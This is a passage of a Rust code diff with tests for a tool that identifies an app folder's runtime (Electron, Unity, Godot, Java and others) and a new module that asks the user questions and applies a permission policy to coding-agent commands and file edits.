craft_anything_testkit::games::{GodotFile, Il2cppSample, godot_embedded, godot_pck, il2cpp_metadata}; + use std::collections::HashSet; + + fn engine() -> Engine { + Engine::new(crate::testing::session()) + } + + fn write(root: &Path, rel: &str, bytes: &[u8]) { + let p = root.join(rel); + std::fs::create_dir_all(p.parent().unwrap()).unwrap(); + std::fs::write(p, bytes).unwrap(); + } + + fn survey(root: &Path) -> Value { + call(&engine(), "app_folder_explain", json!({"path": root})) + } + + fn ids(v: &Value) -> Vec { + v["result"]["candidates"].as_array().unwrap().iter().map(|c| c["runtime"].as_str().unwrap().to_string()).collect() + } + + fn candidate<'a>(v: &'a Value, id: &str) -> &'a Value { + v["result"]["candidates"].as_array().unwrap().iter().find(|c| c["runtime"] == id).unwrap_or_else(|| panic!("no {id} in {:?}", ids(v))) + } + + fn step<'a>(v: &'a Value, tool: &str) -> &'a Value { + v["result"]["next_steps"] + .as_array() + .unwrap() + .iter() + .find(|s| s["tool"] == tool) + .unwrap_or_else(|| panic!("no {tool} in {:?}", v["result"]["next_steps"])) + } + + /// A tiny PE with a CLI header, which is all `pe_is_managed` asks. + fn managed_pe() -> Vec { + craft_anything_testkit::managed::managed_assembly(4) + } + + #[test] + fn the_table_is_well_formed() { + let specs = crate::tools::all(); + let mut runtimes = HashSet::new(); + for r in RUNTIMES { + assert!(runtimes.insert(r.id), "two rows named {}", r.id); + assert!(!r.markers.is_empty() && !r.next.is_empty(), "{}", r.id); + let mut markers = HashSet::new(); + for m in r.markers { + assert!(markers.insert(m.id), "{}: two markers named {}", r.id, m.id); + assert!(!m.at.is_empty(), "{}.{}", r.id, m.id); + for at in m.at { + if let Name(s) | NameStarts(s) | NameEnds(s) | PathHas(s) | PathEnds(s) = at { + assert_eq!(*s, s.to_lowercase(), "{}.{}: paths are compared in lower case", r.id, m.id); + } + } + } + for n in r.next { + let spec = specs.iter().find(|s| s.id == n.tool).unwrap_or_else(|| panic!("{}: no tool called {}", r.id, n.tool)); + let schema = (spec.input_schema)(); + assert!(schema["properties"].get(n.param).is_some(), "{} doesn't take {}", n.tool, n.param); + if let Some(on) = n.on { + assert!(r.markers.iter().any(|m| m.id == on), "{}: next step points at no marker {on}", r.id); + } + } + } + } + + #[test] + fn electron_on_windows_and_macos() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "resources/app.asar", b"not read"); + write(d.path(), "resources/elevate.exe", b"MZ"); + write(d.path(), "MyApp.exe", b"MZ"); + write(d.path(), "chrome_100_percent.pak", b"x"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "electron"); + assert_eq!(candidate(&v, "electron")["strength"], "strong"); + assert!(step(&v, "js_app_map")["args"]["input_path"].as_str().unwrap().ends_with("app.asar")); + assert_eq!(v["confidence"], "inferred"); + assert!(v["summary"].as_str().unwrap().contains("Electron")); + + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/Resources/app.asar", b"x"); + write(d.path(), "Contents/MacOS/Slack", b"\xcf\xfa\xed\xfe"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "electron"); + assert!(step(&v, "js_electron_fuses_show")["args"]["path"].as_str().unwrap().ends_with("Electron Framework")); + assert_eq!(candidate(&v, "native")["strength"], "weak"); + assert_eq!(*ids(&v).last().unwrap(), "native", "native comes last"); + } + + #[test] + fn node_inside_electron_does_not_lead_however_many_markers_it_has() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/Resources/app.asar", b"x"); + write(d.path(), "Contents/Resources/bin/node", b"x"); + write(d.path(), "Contents/Resources/a.node", b"x"); + write(d.path(), "Contents/Resources/node_modules/x.js", b"x"); + write(d.path(), "Contents/Resources/package.json", b"{}"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "electron"); + assert_eq!(candidate(&v, "node")["secondary"], true); + assert_eq!(candidate(&v, "electron")["secondary"], false); + assert!(!v["summary"].as_str().unwrap().contains("Node"), "{}", v["summary"]); + assert!(step(&v, "js_app_map")["args"]["input_path"].as_str().unwrap().ends_with("app.asar")); + // Alone, it leads. + let d = tempfile::tempdir().unwrap(); + write(d.path(), "bin/node", b"x"); + let v = survey(d.path()); + assert_eq!(candidate(&v, "node")["secondary"], false); + assert!(v["summary"].as_str().unwrap().contains("Node")); + } + + #[test] + fn a_runtime_only_found_deep_inside_is_carried_not_what_it_is_built_on() { + // A native app keeping a Python for its scripts, and a Java app whose debugger brings one. + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/MacOS/App", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/Resources/FL/Shared/Python/Python.framework/x", b"x"); + let v = survey(d.path()); + assert_eq!(candidate(&v, "python")["secondary"], true); + let summary = v["summary"].as_str().unwrap(); + assert!(summary.contains("native code") && summary.contains("carries Python"), "{summary}"); + + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/lib/app.jar", b"PK"); + write(d.path(), "Contents/jbr/Contents/Home/lib/server/libjvm.dylib", b"x"); + write(d.path(), "Contents/bin/gdb/mac/arm/Python.framework/x", b"x"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "java"); + let summary = v["summary"].as_str().unwrap(); + assert!(summary.contains("built on Java") && summary.contains("also carries Python"), "{summary}"); + + // A lone jar beside a native program is no more than that, too. + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/MacOS/App", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/MacOS/plugins/a.jar", b"PK"); + assert!(survey(d.path())["summary"].as_str().unwrap().contains("native code, and it also carries Java")); + } + + #[test] + fn a_java_image_is_checked_by_its_start() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "plugins/qml/lib/modules", b"a folder's name elsewhere, or any other file"); + assert!(survey(d.path())["result"]["candidates"].as_array().unwrap().is_empty()); + let d = tempfile::tempdir().unwrap(); + write(d.path(), "runtime/lib/modules", &[0xda, 0xda, 0xfe, 0xca, 1, 0]); + assert_eq!(ids(&survey(d.path()))[0], "java"); + } + + #[test] + fn a_stray_weak_marker_doesnt_steer_the_next_steps_and_a_step_comes_once() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/Frameworks/QtCore.framework/Versions/A/QtCore", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/MacOS/App", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/PlugIns/x/package.json", b"{}"); + let v = survey(d.path()); + let steps = v["result"]["next_steps"].as_array().unwrap(); + assert!(steps.iter().all(|s| s["tool"] != "js_app_map"), "{steps:?}"); + assert!(steps[0]["args"]["path"].as_str().unwrap().ends_with("QtCore"), "{steps:?}"); + for (i, a) in steps.iter().enumerate() { + assert!(steps.iter().skip(i + 1).all(|b| b["tool"] != a["tool"] || b["args"] != a["args"]), "{a} twice"); + } + } + + #[test] + fn tauri_is_found_in_the_main_program_alone() { + let d = tempfile::tempdir().unwrap(); + let mut program = vec![0xcf, 0xfa, 0xed, 0xfe]; + program.resize(5 << 20, 0); + program.extend_from_slice(b"window.__TAURI_INTERNALS__"); + write(d.path(), "Contents/MacOS/app", &program); + write(d.path(), "Contents/Frameworks/x/y/z/deep", b"__TAURI_INTERNALS__"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "tauri"); + // Far down, or just saying the word, isn't enough. + assert_eq!(candidate(&v, "tauri")["markers"][0]["paths"], json!(["Contents/MacOS/app"])); + // The same look at the same program, wanted by two rows, is one step. + let steps = v["result"]["next_steps"].as_array().unwrap(); + assert_eq!(steps.iter().filter(|s| s["tool"] == "core_target_triage").count(), 1, "{steps:?}"); + + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/MacOS/app", b"\xcf\xfa\xed\xfe talks about tauri a lot"); + assert_eq!(ids(&survey(d.path())), ["native"]); + } + + #[test] + fn each_runtime_is_named_from_its_files() { + let pyi = { + let mut b = vec![0x7f, b'E', b'L', b'F']; + b.extend_from_slice(&[0; 100]); + b.extend_from_slice(b"MEI\x0c\x0b\x0a\x0b\x0e"); + b.extend_from_slice(&[0; 80]); + b + }; + type Files = Vec<(&'static str, Vec)>; + let cases: Vec<(&str, Files)> = vec![ + ("tauri", vec![("tauri.conf.json", b"{}".to_vec())]), + ("cef", vec![("libcef.dll", b"MZ".to_vec())]), + ("qt", vec![("Qt6Core.dll", b"MZ".to_vec()), ("plugins/platforms/libqcocoa.dylib", b"x".to_vec())]), + ("flutter", vec![("flutter_windows.dll", b"MZ".to_vec()), ("data/flutter_assets/AssetManifest.json", b"{}".to_vec())]), + ("dotnet", vec![("App.runtimeconfig.json", b"{}".to_vec()), ("App.dll", managed_pe())]), + ("java", vec![("lib/app.jar", b"PK".to_vec()), ("runtime/lib/server/libjvm.dylib", b"x".to_vec())]), + ("python", vec![("_internal/base_library.zip", b"PK".to_vec()), ("python312.dll", b"MZ".to_vec())]), + ("python", vec![("app.exe", pyi.clone())]), + ("node", vec![("bin/node", b"x".to_vec()), ("lib/thing.node", b"x".to_vec())]), + ("unity", vec![("UnityPlayer.dll", b"MZ".to_vec()), ("Game_Data/globalgamemanagers", b"x".to_vec())]), + ("unity", vec![("Contents/Frameworks/UnityPlayer.dylib", b"x".to_vec()), ("Contents/Resources/Data/globalgamemanagers", b"x".to_vec())]), + ("unreal", vec![("Game/Binaries/Win64/Game-Win64-Shipping.exe", b"MZ".to_vec())]), + ("godot", vec![("game.pck", godot_pck(2, 2, &[]))]), + ("native", vec![("bin/tool.exe", b"MZ".to_vec())]), + ]; + for (want, files) in cases { + let d = tempfile::tempdir().unwrap(); + for (rel, bytes) in &files { + write(d.path(), rel, bytes); + } + let v = survey(d.path()); + assert_eq!(ids(&v).first().map(String::as_str), Some(want), "{files:?} gave {:?}", ids(&v)); + assert!(v["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "presence_not_proof")); + } + } + + #[test] + fn looks_inside_files_are_really_looked_at() { + // A .pck that isn't a pack, a Chromium .pak, a stray .utoc and a plain .dll aren't evidence. + let d = tempfile::tempdir().unwrap(); + write(d.path(), "other.pck", b"not a godot pack"); + write(d.path(), "resources/cef.pak", b"a Chromium resource pack, not an Unreal one"); + write(d.path(), "assets.utoc", b"not a table of contents"); + write(d.path(), "plain.dll", b"MZ not managed"); + let v = survey(d.path()); + assert!(ids(&v).is_empty(), "{:?}", ids(&v)); + assert!(v["summary"].as_str().unwrap().contains("nothing")); + assert_eq!(v["result"]["next_steps"], json!([])); + } + + #[test] + fn a_real_unreal_pak_and_a_program_with_a_pack_pass_their_looks() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Game/Content/Paks/Game.pak", &craft_anything_testkit::games::unreal_pak(&[("Game/", "a.txt", b"hi", false)])); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "unreal"); + assert!(step(&v, "game_pak_list")["args"]["path"].as_str().unwrap().ends_with("Game.pak")); + + let d = tempfile::tempdir().unwrap(); + let files = [GodotFile { path: "res://a", data: b"x", flags: 0, md5: [1; 16] }]; + write(d.path(), "game.exe", &godot_embedded(b"MZ program", &godot_pck(2, 2, &files))); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "godot"); + assert_eq!(candidate(&v, "godot")["markers"][0]["marker"], "embedded_pack"); + assert!(step(&v, "core_packed_files_list")["args"]["path"].as_str().unwrap().ends_with("game.exe")); + + // Its trailer's pointer must land on a pack. + let d = tempfile::tempdir().unwrap(); + let mut liar = b"MZ program".to_vec(); + liar.extend_from_slice(&3u64.to_le_bytes()); + liar.extend_from_slice(b"GDPC"); + write(d.path(), "game.exe", &liar); + assert_eq!(ids(&survey(d.path())), ["native"]); + } + + #[test] + fn unity_points_at_its_metadata_and_shares_the_game_detection() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "GameAssembly.dll", b"MZ"); + write(d.path(), "UnityPlayer.dll", b"MZ"); + let metadata = il2cpp_metadata(&Il2cppSample { version: 31, header_size: 256, type_size: 88, method_size: 36 }); + write(d.path(), "Game_Data/il2cpp_data/Metadata/global-metadata.dat", &metadata); + write(d.path(), "Game_Data/globalgamemanagers", b"2022.3.62f1 and more"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "unity"); + assert_eq!(v["result"]["game"]["engine"], "unity", "the same detection triage uses"); + assert!(candidate(&v, "unity")["markers"].as_array().unwrap().iter().any(|m| m["marker"] == "game_detection")); + let path = step(&v, "game_unity_code_names_show")["args"]["path"].as_str().unwrap().to_string(); + assert!(path.ends_with("global-metadata.dat")); + // The step it names works. + let shown = call(&engine(), "game_unity_code_names_show", json!({"path": path})); + assert_eq!(shown["result"]["counts"]["types"], 3); + } + + #[test] + fn a_game_engine_without_a_row_still_counts() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "data.win", b"FORM"); + let v = survey(d.path()); + assert_eq!(ids(&v)[0], "gamemaker"); + assert_eq!(candidate(&v, "gamemaker")["strength"], "strong"); + } + + #[test] + fn the_bundle_names_the_main_program_and_it_comes_first() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/Info.plist", br#"CFBundleExecutableZebraCFBundleIdentifiercom.example.zebra"#); + write(d.path(), "Contents/MacOS/Aardvark", b"\xcf\xfa\xed\xfe"); + write(d.path(), "Contents/MacOS/Zebra", b"\xcf\xfa\xed\xfe"); + let v = survey(d.path()); + assert_eq!(v["result"]["bundle"]["identifier"], "com.example.zebra"); + assert!(step(&v, "core_target_triage")["args"]["path"].as_str().unwrap().ends_with("Zebra")); + } + + #[test] + fn walks_are_bounded_and_say_so() { + let d = tempfile::tempdir().unwrap(); + for i in 0..30 { + write(d.path(), &format!("f{i}.txt"), b"x"); + } + write(d.path(), "a/b/c/d/e/deep.jar", b"PK"); + let e = engine(); + let v = call(&e, "app_folder_explain", json!({"path": d.path(), "max_entries": 5})); + assert_eq!(v["result"]["walk"]["entries"], 5); + assert_eq!(v["result"]["walk"]["capped"], true); + assert_eq!(v["coverage"]["status"], "partial"); + assert!(v["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "walk_capped")); + + let v = call(&e, "app_folder_explain", json!({"path": d.path(), "max_depth": 2})); + assert!(!ids(&v).contains(&"java".to_string()), "too deep to reach"); + assert_eq!(v["result"]["walk"]["capped"], true); + let v = call(&e, "app_folder_explain", json!({"path": d.path(), "max_depth": 9, "max_entries": 999_999_999})); + assert_eq!(ids(&v)[0], "java"); + assert_eq!(v["result"]["walk"]["max_entries"], MAX_ENTRIES); + } + + #[test] + fn package_folders_are_noted_and_not_walked() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "node_modules/deep/libcef.dll", b"MZ"); + let v = survey(d.path()); + assert_eq!(ids(&v), ["node"]); + assert_eq!(v["result"]["walk"]["folders_not_walked"], json!(["node_modules"])); + } + + #[test] + #[cfg(unix)] + fn links_are_not_followed_even_in_a_loop() { + let (d, outside) = (tempfile::tempdir().unwrap(), tempfile::tempdir().unwrap()); + write(outside.path(), "libcef.dll", b"MZ"); + std::os::unix::fs::symlink(outside.path(), d.path().join("away")).unwrap(); + std::os::unix::fs::symlink(d.path(), d.path().join("round")).unwrap(); + std::os::unix::fs::symlink(outside.path().join("libcef.dll"), d.path().join("link.jar")).unwrap(); + let v = survey(d.path()); + assert!(!ids(&v).contains(&"cef".to_string()), "{:?}", ids(&v)); + assert_eq!(v["result"]["walk"]["links_not_followed"], 3); + assert_eq!(v["result"]["walk"]["entries"], 3); + assert!(v["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "links_not_followed")); + } + + #[test] + #[cfg(unix)] + fn a_look_at_a_link_reads_nothing() { + let (d, outside) = (tempfile::tempdir().unwrap(), tempfile::tempdir().unwrap()); + write(outside.path(), "real.pck", &godot_pck(2, 2, &[])); + std::os::unix::fs::symlink(outside.path().join("real.pck"), d.path().join("game.pck")).unwrap(); + assert!(!ids(&survey(d.path())).contains(&"godot".to_string())); + } + + #[test] + fn an_empty_folder_says_so_and_a_file_or_relative_path_is_refused() { + let d = tempfile::tempdir().unwrap(); + let v = survey(d.path()); + assert!(ids(&v).is_empty()); + assert_eq!(v["coverage"]["status"], "complete"); + let e = engine(); + write(d.path(), "file.exe", b"MZ"); + assert!(call_err(&e, "app_folder_explain", json!({"path": d.path().join("file.exe")})).message.contains("isn't a folder")); + assert!(call_err(&e, "app_folder_explain", json!({"path": "relative/app"})).message.contains("absolute")); + call_err(&e, "app_folder_explain", json!({"path": d.path().join("missing")})); + } + + #[test] + fn it_writes_nothing() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "resources/app.asar", b"x"); + let before: Vec<_> = std::fs::read_dir(d.path()).unwrap().flatten().map(|e| e.path()).collect(); + survey(d.path()); + assert_eq!(before, std::fs::read_dir(d.path()).unwrap().flatten().map(|e| e.path()).collect::>()); + } + + #[test] + fn clean_room_refuses_it() { + let mut s = crate::testing::session(); + s.settings.deep_mode = false; + let e = Engine::new(s); + let d = tempfile::tempdir().unwrap(); + assert!(e.call("app_folder_explain", json!({"path": d.path()}), crate::CallOptions::new(crate::Caller::Mcp)).is_err()); + } + + #[test] + fn a_program_is_recognised_where_a_system_would_start_one() { + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/MacOS/Thing", b"\xca\xfe\xba\xbe"); + write(d.path(), "script.exe", b"#!/bin/sh"); + let v = survey(d.path()); + assert_eq!(ids(&v), ["native"], "only the real Mach-O: a .exe that holds a script isn't native code"); + } + + /// #292: a program that couldn't be read made "nothing points to a runtime" with complete coverage. + #[cfg(unix)] + #[test] + fn a_program_that_cant_be_opened_is_said_and_leaves_coverage_partial() { + use std::os::unix::fs::PermissionsExt; + let d = tempfile::tempdir().unwrap(); + write(d.path(), "Contents/MacOS/Thing", b"\xcf\xfa\xed\xfe"); + let program = d.path().join("Contents/MacOS/Thing"); + std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o111)).unwrap(); + if std::fs::read(&program).is_ok() { + return; // Run as root: nothing is unreadable. + } + let v = survey(d.path()); + std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap(); + assert_eq!(v["coverage"]["status"], "partial", "{v}"); + let lim = v["limitations"].as_array().unwrap().iter().find(|l| l["code"] == "unopened_files").cloned(); + assert!(lim.is_some_and(|l| l["message"].as_str().unwrap().starts_with("1 file")), "{v}"); + assert_eq!(ids(&survey(d.path())), ["native"], "readable again, it's found"); + } +} diff --git a/desktop/crates/engine/src/tools/interaction_tools.rs b/desktop/crates/engine/src/tools/interaction_tools.rs new file mode 100644 index 0000000..c7a5455 --- /dev/null +++ b/desktop/crates/engine/src/tools/interaction_tools.rs @@ -0,0 +1,881 @@ +//! Talking to the person while an agent works: `core_person_ask` (a question with suggested answers) +//! and `core_action_approve` (the permission check a coding agent calls before an action, e.g. +//! Claude Code's `--permission-prompt-tool`). Both go through the session's [`Inbox`]; the app +//! shows them as cards and writes the answer back. +//! +//! Approvals follow a small, explicit policy so ordinary building doesn't nag: editing files +//! inside the workspace's `app/` folder and a fixed list of build commands are allowed; starting +//! long-running dev servers is refused with a hint; anything else asks the person, who can allow +//! it once or for the rest of the project. In Auto mode (the default) nothing asks: those actions +//! go ahead, except a few that are never done unasked ([`never_unasked`]), which are refused so +//! the builder finds another way. Questions are shown to the person or answered with "decide +//! yourself", as the project chooses (`Manifest::questions`), else the app (`Settings::questions`, +//! which follows Auto mode until the person picks). + +use crate::inbox::{Inbox, InboxDir, RequestKind}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::workspace::{Questions, Workspace}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::path::{Component, Path, PathBuf}; +use std::time::Duration; + +/// What a question gets when the person lets the builder decide. +const DECIDE_ANSWER: &str = "The person asked you to decide questions yourself in this project. Choose what makes the result closest to what they asked for, then start your next message with \"I decided:\" followed by the question, what you chose and why (so they can see it and change it), and continue."; + +/// How long a question or approval waits for the person. +const WAIT: Duration = Duration::from_secs(30 * 60); + +/// The approval tool's id: coding agents are pointed at it as their permission prompt, and its +/// value goes back bare (a protocol message, not a result). +pub const APPROVE_TOOL: &str = "core_action_approve"; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "core_person_ask", + title: "Ask the person", + summary: "Ask the person a question in the app and wait for the answer: a short question, up to six suggested answers shown as buttons, and optionally a typed reply. Use it when a choice changes the result (scope, style, which feature first) and you can't decide from the evidence. Returns the answer text, or a note to continue with your best judgement if nobody answers within 30 minutes.", + beginner: "Lets the assistant ask you a quick question.", + toolset: Toolset::Core, + effects: Effects::CHANGES_UI_STATE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_person_ask, + }, + ToolSpec { + id: APPROVE_TOOL, + title: "Approve an agent action", + summary: "Permission check for a coding agent's action (tool name and input). Edits inside the workspace's app folder and common build commands are allowed; dev servers are refused with a hint; anything else asks the person. Returns {behavior: allow, updatedInput} or {behavior: deny, message}.", + beginner: "Asks you before the assistant does something outside its project.", + toolset: Toolset::Core, + effects: Effects::CHANGES_UI_STATE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_action_approve, + }, + ] +} + +pub(crate) fn inbox(ctx: &Ctx<'_>) -> Option { + ctx.session.ext.get::().map(|d| Inbox::new(d.0.clone())) +} + +pub(crate) fn workspace_of(inbox: &Inbox) -> Option { + inbox.dir().parent().and_then(|root| Workspace::open(root).ok()) +} + +// --------------------------------------------------------------------------------------------- +// core_person_ask + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AskParams { + /// The question, in plain words. + pub question: String, + /// Up to six short suggested answers, best first. + #[serde(default)] + pub choices: Vec, + /// Accept a typed answer too (default true). + #[serde(default = "yes")] + pub allow_text: bool, + /// One or two sentences of context shown under the question. + #[serde(default)] + pub context: String, +} + +fn yes() -> bool { + true +} + +fn core_person_ask(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AskParams = parse_params(params)?; + let question = p.question.trim(); + if question.is_empty() || question.len() > 2000 { + return Err(ToolError::invalid("question must be 1..=2000 characters")); + } + let choices: Vec = p.choices.iter().map(|c| c.trim().chars().take(120).collect::()).filter(|c| !c.is_empty()).take(6).collect(); + let inbox = inbox(ctx); + let project = inbox.as_ref().and_then(workspace_of); + if ctx.session.settings.questions_in(project.as_ref().map(|w| &w.manifest)) == Questions::Decide { + return Ok(ToolOutput::Value(json!({"answered": false, "note": DECIDE_ANSWER}))); + } + let Some(inbox) = inbox else { + return Err(ToolError::new(ErrorCode::FeatureMissing, "nobody is available to answer questions in this session") + .with_remediation("Make a sensible choice, say which one you made and why, and continue.")); + }; + let id = inbox.post(RequestKind::Question, question, p.context.trim(), choices, p.allow_text || p.choices.is_empty(), None)?; + ctx.report(None, "Waiting for your answer…"); + let cancel = ctx.cancel.clone(); + match inbox.wait(&id, WAIT, &|| cancel.is_cancelled()) { + Some(a) => Ok(ToolOutput::Value(json!({"answered": true, "answer": a.as_text(), "choice": a.choice, "text": a.text}))), + None => { + Ok(ToolOutput::Value(json!({"answered": false, "note": "No answer came. Continue with your best judgement and state the assumption you made."}))) + } + } +} + +// --------------------------------------------------------------------------------------------- +// core_action_approve + +/// The shape coding agents send for a permission check. +#[derive(Debug, Deserialize, JsonSchema)] +pub struct ApproveParams { + /// The agent's tool, e.g. `Bash`, `Write`, `WebFetch`. + pub tool_name: String, + /// The tool's input, passed back unchanged when allowed. + #[serde(default)] + pub input: Value, + #[serde(default)] + pub tool_use_id: Option, +} + +/// What the policy decided before asking anyone. +#[derive(Debug, Clone, PartialEq)] +pub enum Decision { + Allow, + Deny(String), + /// Ask the person: a one-line description and the action kind for "always allow". + Ask { + title: String, + kind: String, + }, +} + +/// Build commands that are fine to run inside the project without asking. +const SAFE_COMMANDS: &[&str] = &[ + "npm install", + "npm i ", + "npm ci", + "npm run build", + "npm run lint", + "npm run test", + "npm test", + "npm run typecheck", + "npm create vite", + "npm init", + "npm ls", + "npm --version", + "npx --yes create-vite", + "npx create-vite", + "npx tsc", + "npx vite build", + "npx vitest run", + "npx next build", + "npx shadcn@latest init", + "npx shadcn@latest add", + "npx shadcn init", + "npx shadcn add", + "npx --yes shadcn@latest init", + "npx --yes shadcn@latest add", + "npx eslint", + "npx prettier", + "node --version", + "cargo build", + // Runs the builder's own game (e.g. `cargo run -- --screenshot …`). + "cargo run", + "cargo check", + "cargo test", + "cargo fmt", + "cargo clippy", + "cargo new", + "cargo init", + "cargo add", + "cargo tree", + "cargo --version", + "rustc --version", + "git init", + "git add", + "git commit", + "git status", + "git diff", + "git log", + "git branch", + "ls", + "dir", + "pwd", + "mkdir", + "cat ", + "head ", + "tail ", + "wc ", + "echo ", +]; + +/// Commands that never finish on their own; the app previews the build itself. +const SERVER_COMMANDS: &[&str] = &[ + "npm run dev", + "npm start", + "npm run start", + "npm run preview", + "npx vite", + "vite", + "npx serve", + "npx next dev", + "npx next start", + "next dev", + "cargo watch", + "trunk serve", +]; + +/// One of [`SAFE_COMMANDS`], matched on whole words. +fn safe_command(part: &str) -> bool { + let padded = format!("{part} "); + SAFE_COMMANDS.iter().any(|s| padded.starts_with(s) && (s.ends_with(' ') || padded.get(s.len()..).is_some_and(|r| r.starts_with(' ')))) +} + +/// A command that never exits: a dev server (unless it's a listed build, as `npx vite build` is +/// while `npx vite` serves, #291) or anything in watch mode. +fn never_exits(part: &str) -> bool { + let server = SERVER_COMMANDS.iter().any(|s| part == *s || part.starts_with(&format!("{s} "))); + (server && !safe_command(part)) || part.split_whitespace().any(|w| w == "--watch") +} + +/// Lexically resolve `p` against `base` (no filesystem access); `None` if it climbs above the root. +pub(crate) fn resolve(base: &Path, p: &str) -> Option { + let path = Path::new(p); + let joined = if path.is_absolute() { path.to_path_buf() } else { base.join(path) }; + let mut out = PathBuf::new(); + for c in joined.components() { + match c { + Component::ParentDir => { + if !out.pop() { + return None; + } + } + Component::CurDir => {} + other => out.push(other.as_os_str()), + } + } + Some(out) +} + +pub(crate) use crate::workspace::inside; + +/// The program a command part starts (a leading quoted path keeps its spaces) and the rest. +fn program_of(part: &str) -> (&str, &str) { + match part.strip_prefix('"').and_then(|r| r.split_once('"')) { + Some((prog, rest)) => (prog, rest), + None => part.split_once(char::is_whitespace).unwrap_or((part, "")), + } +} + +/// A game engine's own build or check: Unity in batch mode, Godot headless or on a project, +/// Unreal's build scripts and command-line editor. +fn engine_build(part: &str) -> bool { + let (prog, rest) = program_of(part); + let norm = prog.replace('\\', "/").to_ascii_lowercase(); + let name = norm.rsplit('/').next().unwrap_or_default(); + let rest = rest.to_ascii_lowercase(); + match name { + "unity.exe" | "unity" => rest.contains("-batchmode"), + n if n.starts_with("godot") => rest.contains("--headless") || rest.contains("--path"), + "runuat.bat" | "runuat.sh" | "build.bat" | "build.sh" => norm.contains("engine/build/batchfiles/"), + "unrealeditor-cmd.exe" | "unrealeditor-cmd" => true, + _ => false, + } +} + +/// A program the builder made inside app/ (to try its build, e.g. `--screenshot`). It must exist +/// there: a bare name such as `rm` would otherwise look like `app/rm`. +fn own_program(part: &str, app: &Path) -> bool { + let (prog, _) = program_of(part); + // The agent works from the workspace (app/'s parent) or from inside app/. + let bases = [app.parent().unwrap_or(app), app]; + !prog.is_empty() && bases.iter().any(|b| resolve(b, prog).is_some_and(|p| inside(app, &p) && p != app && p.is_file())) +} + +/// Decide a Bash command: every `&&`-joined part must be a safe build command, the game engine's +/// own build, the builder's own program in app/, or a `cd` that stays inside the project, with +/// no other shell control characters. +fn decide_command(cmd: &str, app: &Path) -> Decision { + let c = cmd.trim(); + let first = c.split_whitespace().next().unwrap_or_default(); + let ask = || Decision::Ask { title: format!("Run a command: `{}`", c.chars().take(300).collect::()), kind: format!("bash:{first}") }; + if c.is_empty() { + return Decision::Deny("Empty command.".into()); + } + let parts: Vec<&str> = c.split("&&").map(str::trim).collect(); + if parts.iter().any(|p| never_exits(p)) { + return Decision::Deny( + "Don't start dev servers or watchers: they never exit. Run `npm run build` (or `cargo build`) instead; REI Reverse Engineer serves and checks the build itself.".into(), + ); + } + if c.contains(['|', ';', '<', '>', '`', '$', '\n']) || c.replace("&&", "").contains('&') { + return ask(); + } + for part in parts { + if let Some(dir) = part.strip_prefix("cd ") { + match resolve(app, dir.trim().trim_matches('"')) { + Some(p) if inside(app, &p) => continue, + _ => return ask(), + } + } + if !(safe_command(part) || engine_build(part) || own_program(part, app)) { + return ask(); + } + } + Decision::Allow +} + +/// The policy for one action. `ws` is the workspace the agent works in, if known. +pub fn decide(ws: Option<&Workspace>, tool: &str, input: &Value) -> Decision { + let s = |k: &str| input.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let kind = match tool { + "Write" | "Edit" | "MultiEdit" | "NotebookEdit" => "edit-outside".to_string(), + "Bash" => format!("bash:{}", s("command").split_whitespace().next().unwrap_or_default()), + "WebFetch" | "WebSearch" => "web".to_string(), + other => other.to_string(), + }; + if ws.is_some_and(|w| w.manifest.allowed_actions.contains(&kind)) { + return Decision::Allow; + } + let app = ws.map(Workspace::app_dir); + match tool { + "Read" | "Glob" | "Grep" | "LS" | "TodoWrite" => Decision::Allow, + "Write" | "Edit" | "MultiEdit" | "NotebookEdit" => { + let target = if tool == "NotebookEdit" { s("notebook_path") } else { s("file_path") }; + // app/ is what it builds; checks/ holds its own notes and screenshots. The inbox (where + // approvals are answered), the manifest and the person's pictures stay out of reach, + // also when the app is the project folder itself. + let checks = ws.map(Workspace::checks_dir); + match (&app, resolve(app.as_deref().unwrap_or(Path::new("/")), &target)) { + (Some(app), Some(p)) if (inside(app, &p) || checks.as_ref().is_some_and(|c| inside(c, &p))) && !ws.is_some_and(|w| w.is_own_record(&p)) 